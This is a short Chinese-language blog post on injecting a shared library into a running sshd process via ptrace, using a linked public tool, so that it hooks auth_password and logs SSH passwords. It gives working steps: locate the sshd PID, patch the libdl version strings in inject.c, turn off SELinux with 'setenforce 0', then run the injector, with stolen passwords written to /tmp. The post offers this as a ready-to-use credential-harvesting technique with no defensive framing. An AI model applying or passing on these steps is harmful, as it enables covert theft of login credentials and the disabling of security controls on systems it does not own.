无需重新编译OpenSSH,通过ptrace注入记录SSHD密码

本来想自己研究一下然后写一个,在查资料的时候发现别人已经研究写出了成型的demo,原文可以查看
https://blog.xpnsec.com/linux-process-injection-aka-injecting-into-sshd-for-fun/
国内缓存:https://buaq.net/go-25514.html
工具链接:https://github.com/xpn/ssh-inject

原文就不翻译了,说一下用法和几个需要修改地方
他的逻辑大概是先通过hook libdl.so实现注入一个so文件到sshd里面,然后在通过这个so去hook auth_password实现密码记录。

首先需要先查看当前机器的sshd的libdl版本,

ps aux|grep sshd #获取pid


查看其调用的libdl版本

修改ssh-inject/inject.c中的libdl部分代码

...
void *libdlAddr = NULL;

    libdlAddr = dlopen("libdl-2.19.so", RTLD_LAZY);
    ....
    remoteLib = findLibrary("libdl-2.19", atoi(argv[1]));
   ...
    ...
    localLib = findLibrary("libdl-2.19", -1); //

...

把这三个位置的libdl-2.19改成之前查看出来的libdl-2.17即可
然后临时关闭SElinux,否则会导致注入失败

setenforce 0 #临时关闭SELinux
./run.sh 23189 #sshd的pid

记录到的密码默认写到tmp目录下

标签: none